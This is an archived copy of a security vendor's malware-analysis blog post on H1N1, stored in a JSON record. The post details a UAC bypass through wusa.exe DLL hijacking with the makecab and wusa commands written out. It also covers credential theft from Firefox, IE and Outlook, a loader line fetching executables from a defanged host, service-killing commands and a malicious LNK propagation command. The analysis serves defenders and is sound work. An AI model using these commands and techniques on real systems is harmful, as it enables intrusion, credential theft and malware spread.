{
	"id": "2f2de671-dd87-4fd8-8f77-ac76931b99a8",
	"created_at": "2026-04-06T00:09:58.714662Z",
	"updated_at": "2026-04-10T03:21:43.133507Z",
	"deleted_at": null,
	"sha1_hash": "e440ee9a347e9eb4b28f7374bd8c4a45c1990cc0",
	"title": "H1N1: Technical analysis reveals new capabilities – part 2",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1571818,
	"plain_text": "H1N1: Technical analysis reveals new capabilities – part 2\r\nBy Josh Reynolds\r\nPublished: 2016-09-14 · Archived: 2026-04-05 19:14:16 UTC\r\nThis is the second blog in a 3 part series that provides an in-depth technical analysis on the H1N1 malware. You\r\ncan read the first entry here where I covered the evolution of H1N1, its infection vector and obfuscation\r\ntechniques. This blog will provide an overview of its execution.\r\nH1N1 Execution\r\nExecution flow is broken down into segments based on the name of the current executing process. A check is\r\nmade by hashing the name of the current executing process and comparing it against the value of 0x490A0972 (in\r\nthis case being explorer.exe). This value was found to be a part of the Carberp source leak of 2013. This may\r\nindicate code re-use by the malware author. When executing as Explorer.exe (where we left off in our unpacking\r\nadventure) it will attempt a UAC bypass, self-delete, kill security services, and self-propagate via network shares\r\nand USB drives. [1] [2]\r\nWhen executing from any other context, it will steal information to send back to command and control servers,\r\ndisable recovery options, and deletes shadow copies.\r\nUser Account Control Bypass\r\nFigure 1: How\r\nH1N1 Bypasses User Account Control\r\nH1N1 uses a novel DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe) runs an\r\ninfected DLL as a high integrity process without triggering user access control (UAC). The strategy used to write\r\nthe files is not new; it involves using wusa.exe to write given cab file contents to a secure location and use a DLL\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 1 of 13\n\nhijacking vulnerability to execute code within a high integrity process. In this instance, the following steps are\r\ntaken by the malware to bypass UAC:[3]\r\nFrom Explorer.exe call GetVersionEx to get the OSVERSIONINFOEX structure, verify dwMinorVersion\r\nis 1, and dwMajorVersion is 6 (Windows 7)\r\nOpen the current process token using OpenProcessToken and use GetSidSubAuthorityCount and\r\nGetSidSubAuthority to verify that the SID subauthority (current integrity level) is that of 0x2000, or\r\nSECURITY_MANDATORY_MEDIUM_RID (SID: S-1-16-0x2000)\r\nAllocate and initialize an SID of S-1-5-32-544, which belongs to that of the built-in Administrators group\r\nand compare it to the token information of the current process (effectively verifying that the user executing\r\nis within the local Administrators group, one of the requirements for bypassing UAC)\r\nCopy C:\\Windows\\System32\\dpx.dll to %APPDATA%, use MapViewOfFile to copy the file into memory,\r\nfind the DllEntryPoint within the mapped file and copy the position independent loader code and packed\r\ncode into dpx.dll:\r\nFigure 2: File infection at EP of memory mapped dpx.dll\r\nUse makecab.exe and wusa.exe to write required binaries for DLL hijacking to\r\nC:\\Windows\\System32\\Drivers (a secure location):\r\ncmd.exe /c makecab “C:\\Windows\\System32\\wusa.exe”\r\n“C:\\Users\\Administrator\\AppData\\Roaming\\cabfile.cab”\r\ncmd.exe /c C:\\windows\\system32\\wusa “C:\\Users\\Administrator\\AppData\\Roaming\\cabfile.cab”\r\n/extract:”C:\\Windows\\Sytem32\\drivers”\r\ncmd.exe /c makecab “C:\\Users\\Administrator\\AppData\\Roaming\\dpx.dll”\r\n“C:\\Users\\Administrator\\AppData\\Roaming\\cabfile.cab”\r\ncmd.exe /c C:\\windows\\system32\\wusa “C:\\Users\\Administrator\\AppData\\Roaming\\cabfile.cab”\r\n/extract:”C:\\Windows\\Sytem32\\drivers”\r\nExecute C:\\Windows\\System32\\Drivers\\wusa.exe which is a high integrity process (set to auto-elevate\r\nwithin its manifest), which loads and executes dpx.dll and bypasses UAC:\r\nFigure 3: wusa.exe loading dpx.dll\r\nOur initial assessment was that this DLL hijacking vector was unknown to the public, but after having our intel\r\nspecialist trawl the internet for evidence, we found a reference to this DLL hijacking method for UAC bypass on\r\ntwo Russian forums: hacked[dot]in and damagelab[dot]org. Again, evidence of possible code re-use by the\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 2 of 13\n\nmalware author(s). We also discovered that a user on kernelmode.org had previously reverse engineered an H1N1\r\nsample very similar to this one in March of this year, which was also using this method.[4]\r\nKilling and Disabling Services\r\nService strings to be killed are encoded using a custom hashing algorithm. Using EnumServicesStatusA each\r\nservice name is hashed and checked against a list of hashes. If a match is found it is passed off to be killed using\r\n“cmd.exe /c net stop [Service Name]”, and is prevented from starting on boot by using “cmd.exe /c sc config\r\n[Service Name] start= disabled”. We’ve re-implemented the hashing algorithm that is very similar to that of the\r\nimport hashing algorithm but also includes an extra bitwise OR for certain characters. Based on the services\r\nrunning on our test system we were able to find the following hash value pairs:[5]\r\nThe one way hashing algorithm is actually quite computationally intensive to brute force with a key space of all\r\nASCII characters for the maximum service length, not to mention the possibility for collisions, which is the reason\r\nthat we currently do not know the final service name for the hash value.\r\nInformation Stealing\r\nOne of the core missions of the binary is to steal information. This includes Firefox profile login data, Internet\r\nExplorer Intelliform data, and e-mail login data from Outlook. Command and control servers are de-obfuscated\r\nusing the same method mentioned earlier for contact:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 3 of 13\n\nFigure 4: De-obfuscated Command and Control Server\r\nAMP Threat Grid allows pivoting off domains to find related H1N1 samples, and to find shared infrastructure. For\r\nexample, searching another domain observed during our research of this variant yields a large number of related\r\nsamples:\r\nFigure 5: Domain pivot example in AMP Threat Grid\r\nWe can also expand our information using OpenDNS Investigate, which we will explore in a later section.\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 4 of 13\n\nFigure 6: Domain search in OpenDNS Investigate\r\nIP addresses related to domains can then be pivoted off of as well to find shared domains, and related samples\r\ntalking to this IP address:\r\nFigure 7: IP pivot example in AMP Threat Grid\r\nThis yields four related domains, and a large number of related samples from a single IP address. This\r\ndemonstrates how powerful AMP Threat Grid’s data sets can be.\r\nSaid IP Addresses can also be looked up using OpenDNS Investigate:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 5 of 13\n\nFigure 8: IP pivot example in OpenDNS Investigate\r\nAn obfuscated RC4 key is also shipped with the binary for encrypting command and control communications:\r\nFigure 9: De-obfuscated RC4 Key\r\nAn altered version of base64 is used, which is mentioned in a previous write-up done by Arbor Networks that is\r\nalso known as “URL safe base64”, simply replaces “+” characters with “_“ characters, and “-“ characters with “\\“\r\ncharacters. Once the base64 characters are substituted and decoded, it can be decrypted using RC4. [6][7]\r\nFirefox Login Data\r\nThe login data file “logins.json” is searched for within all available profiles, i.e.\r\n“%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.*\\”. Values corresponding to the keys “hostname” (the hostname of the\r\nlogin in question), “encryptedUsername” (the encrypted username for the host in question), and\r\n“encryptedPassword” (encrypted password for the host in question) are parsed within said JSON blob(s).\r\nThis login data is encrypted using Firefox’s PK11SDR_Encrypt function, which by default uses a blank password\r\nfor encryption. Interestingly, the malware decrypts login data using PK11SDR_Decrypt function exported by\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 6 of 13\n\nnss3.dll shipped with Firefox. The function is dynamically resolved using the library hashing method described\r\nbefore being sent upstream: [8]\r\nFigure 10: Firefox Decryption Calls\r\nInternet Explorer IntelliForms Data\r\nInternet Explorer IntelliForms login data is extracted from the HKCU\\Software\\Microsoft\\Internet\r\nExplorer\\IntelliForms\\Storage2, the caveat being that IntelliForms data is encrypted using the URL of the website\r\nthat the IntelliForm data corresponds to. Each URL is hashed using SHA1 to generate a sub-key name, within\r\nStorage2 key. The key value holds the encrypted IntelliForm data for the URL.\r\nSince brute forcing URLs would be resource intensive, H1N1 enumerates the current internet cache using\r\nFindFirstUrlCacheEntryA for URLs, hashes them, and compares them to the key names in Storage2. If a match is\r\nfound, then the URL is used to decrypt the data for exfiltration. [9]\r\nMail Login Data\r\nOutlook profiles are enumerated via the registry at the following locations:\r\nHKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging\r\nSubsystem\\Profiles\\Outlook\r\nHKLM\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\r\nOnce enumerated SMTP and POP3 e-mails, passwords, servers and ports are queried. CryptUnprotectData is then\r\ncalled on the resulting password data to be decrypted prior to exfiltration.[10]\r\nCommand and Control Communications\r\nCollected data is set into the following format prior to being encrypted with RC4:\r\nguid=[GUID]\u0026os=[OS version integer]\u0026bits=[Architecture]\u0026pl=[Privilege Level]\u0026spread=[Boolean whether\r\nthis was a propagated binary]\u0026browsers=url: %s,login: %s,password: %s\\r\\n\u0026mails=email: %s,username:\r\n%s,password: %s,server: %s,port: %d\r\nThe ‘browsers’ parameter pertaining to Firefox and IntelliForms data, and the ‘mail’ section pertaining to the\r\noutlook data, respectively. The data is then encrypted with the hard-coded RC4 key, and sent in a HTTP POST\r\nrequest to one of the aforementioned command and control servers.\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 7 of 13\n\nLoader Functionality\r\nThe command and control server will then provide loader RC4 encrypted instructions once contacted in the\r\nfollowing pipe delimited format:\r\nLINK|10|hxxp://allxbox.ru/about/pm.dll\r\nLINK|11|hxxp://allxbox.ru/about/inst1.exe\r\nAs a previous write-up on H1N1 by Arbort Networks describes, the LINK command in this instance results in\r\nH1N1 downloading and executing a file from a remotely hosted URL using WinINet HTTP requests. The\r\nloader also has the functionality of downloading and executing a base64 encoded file contained in the response\r\nfrom the command and control server via the FILE command. [6]\r\nThey also highlight that H1N1 will delete the downloaded file’s Zone.Identifier alternate data stream in order to\r\navoid showing a warning dialogue to the user once the file is executed. This is due to WinINet functions being a\r\npart of Internet Explorer Security Zones.\r\nDisabling System Recovery and Backup Deletion\r\nThe reasoning behind the deletion of shadow copies and disabling of system recovery options is currently\r\nunknown. It could possibly be related to anti-forensics capabilities in order to prevent recovery of the original\r\nexecutables used in the attacks. These commands are commonly used in conjunction with Ransomware, but we\r\nhave not found evidence that H1N1 has been loading such types of malware.\r\n‘vssadmin’ command strings are de-obfuscated using the same mentioned method to be executed by the WinExec\r\nAPI to delete shadow copies:\r\nFigure 11: VSSAdmin Deletion of Shadow Copies\r\nWindows recovery options are then disabled by de-obfuscating ‘bcdedit’ commands and are executed using\r\nWinExec as well:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 8 of 13\n\nFigure 12: bcdedit used to disable Windows recovery options\r\nSelf-Propagation\r\nH1N1 has self-propagation/lateral movement functionality (which requires user interaction) via mapped/available\r\nnetwork shares or mounted USB devices. It will first iterate through the available drives and enumerate whether\r\nthey are of these types:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 9 of 13\n\nFigure 25.0: Check drive type for DRIVE_REMOTE or DRIVE_REMOVABLE\r\nOnce a network or USB drive has been identified (in our testing environment we set up a test SMB share) it will\r\nfirst check if it has already performed propagation to this drive by de-obfuscating and checking for a mock\r\nrecycling bin directory, e.g: “\\$RECYCLE.BIN.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}”. If found it\r\nwill not attempt to propagate.\r\nIf it has not yet propagated, it will call a function that iterates over all files/directories within this drive using\r\nFindFirstFile and FindNextFile. If a directory is found it will query its attributes using GetFileAttributes, and if\r\nthe returned attributes bit mask does not include FILE_ATTRIBUTE_HIDDEN (by performing a bitwise \u0026) it\r\nwill increment a count that is then returned. If this count is zero then the calling function will return.\r\nOnce verified that non-hidden folders exist within the network or USB drive directory it will perform the\r\nfollowing steps to setup its propagation technique:\r\nCreate the aforementioned recycling bin directory, and add FILE_ATTRIBUTE_HIDDEN to the\r\ndirectory’s attributes\r\nUsing the current drive’s serial number from GetVolumeInformationW, read a 16-bit value from the\r\nresulting lpVolumeSerialNumber into AL, and based on this value decide what executable extension to use\r\n(pif, scr, exe, or cmd)\r\nA GUID is generated to be used as the filename with the chosen extension\r\nThe packed file contents are read from disk into memory and written to this file within the created\r\nrecycling bin directory while adding FILE_ATTRIBUTE_HIDDEN to its attributes\r\nAll folders within the given drive directory are renamed to generated GUIDs and have\r\nFILE_ATTRIBUTE_HIDDEN added to their attributes\r\nFor each re-named folder, a file shortcut (.lnk) file is set in its place with the original folder name\r\ncontaining the following:\r\nC:\\Windows\\system32\\cmd.exe /C “”$RECYCLE.BIN.{[Generated GUID]}\\{[Generated GUID]}.pif” \u0026\u0026\r\nexplorer “{[GUID of renamed folder]}””\r\nThis will execute the written packed binary when file shortcut is opened and run explorer to open the original\r\nfolder with the renamed GUID to prevent the user from suspecting malice. LNK file example:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 10 of 13\n\nFigure 13: File shortcut properties for manual propagation\r\nExample of all folders being replaced with LNK files and being renamed to generated GUIDs:\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 11 of 13\n\nFigure 14 Test folders replaced with LNK files for propagation\r\nThe same steps will be taken for any available network shares that may not be mounted by enumerating those\r\navailable using WNetOpenEnumW.\r\nIn tomorrow’s blog…\r\nMy co-worker Emmett Koen will be providing an expanded write up on intelligence using the information we\r\nhave provided in these two blogs. We will examine how the analysis of, and defenses against this particular\r\nmalware have been embedded into AMP Threat Grid and AMP for Endpoints. Additionally, we will look into how\r\nthese indicators can be used to search for additional indicators of compromise and tell us more about what is\r\nhappening here.\r\n[1] https://github.com/hzeroo/Carberp/blob/6d449afaa5fd0d0935255d2fac7c7f6689e8486b/source%20-\r\n%20absource/pro/all%20source/BJWJ/Builds/Loader_dll/Loader_Dll_Main.cpp#L576\r\n[2] krebsonsecurity.com/2013/06/carberp-code-leak-stokes-copycat-fears/\r\n[3] https://www.greyhathacker.net/?p=796\r\n[4] www.kernelmode.info/forum/viewtopic.php?f=16\u0026t=3851#p28028\r\n[5] https://communities.cisco.com/docs/DOC-69561\r\n[6] https://www.arbornetworks.com/blog/asert/wp-content/uploads/2015/06/blog_h1n1.pdf\r\n[7] https://tools.ietf.org/html/rfc4648#section-5\r\n[8] https://github.com/dptug/PasswordRecovery/blob/master/firePass.cpp\r\n[9] securityxploded[dot]com/iepasswordsecrets.php\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 12 of 13\n\n[10] securityxploded[dot]com/outlookpasswordsecrets.php\r\nShare:\r\nSource: https://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nhttps://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://web.archive.org/web/20231210122239/https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
	],
	"report_names": [
		"h1n1-technical-analysis-reveals-new-capabilities-part-2"
	],
	"threat_actors": [],
	"ts_created_at": 1775434198,
	"ts_updated_at": 1775791303,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e440ee9a347e9eb4b28f7374bd8c4a45c1990cc0.pdf",
		"text": "https://archive.orkl.eu/e440ee9a347e9eb4b28f7374bd8c4a45c1990cc0.txt",
		"img": "https://archive.orkl.eu/e440ee9a347e9eb4b28f7374bd8c4a45c1990cc0.jpg"
	}
}